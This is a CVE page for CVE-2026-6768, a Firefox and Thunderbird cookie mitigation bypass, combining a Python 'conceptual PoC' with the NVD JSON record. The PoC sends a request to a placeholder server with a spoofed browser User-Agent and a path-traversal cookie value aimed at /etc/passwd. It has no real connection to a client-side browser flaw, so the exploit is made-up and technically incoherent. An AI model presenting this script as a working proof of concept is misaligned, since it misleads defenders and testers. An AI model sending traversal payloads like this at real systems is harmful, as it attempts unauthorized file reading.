CVE-2026-6768

import requests # Conceptual PoC for CVE-2026-6768 # This script attempts to trigger the mitigation bypass in Networking: Cookies. target_url = "http://example.com/vulnerable-endpoint" # Crafted cookie header designed to bypass mitigations malicious_headers = { "User-Agent": "Mozilla/5.0 (Firefox < 150)", "Cookie": "sessionid=../../etc/passwd; Path=/; SameSite=None", "Accept": "text/html,application/xhtml+xml" } try: response = requests.get(target_url, headers=malicious_headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check for behavioral anomalies.") else: print("[-] Target responded with:", response.status_code) except Exception as e: print(f"Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-6768", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:22.667", "lastModified": "2026-04-22T14:58:53.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mitigation bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 150 and Thunderbird 150."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "4C81F2D4-C004-4354-B3E2-E3F407DAB22A"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2023615", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}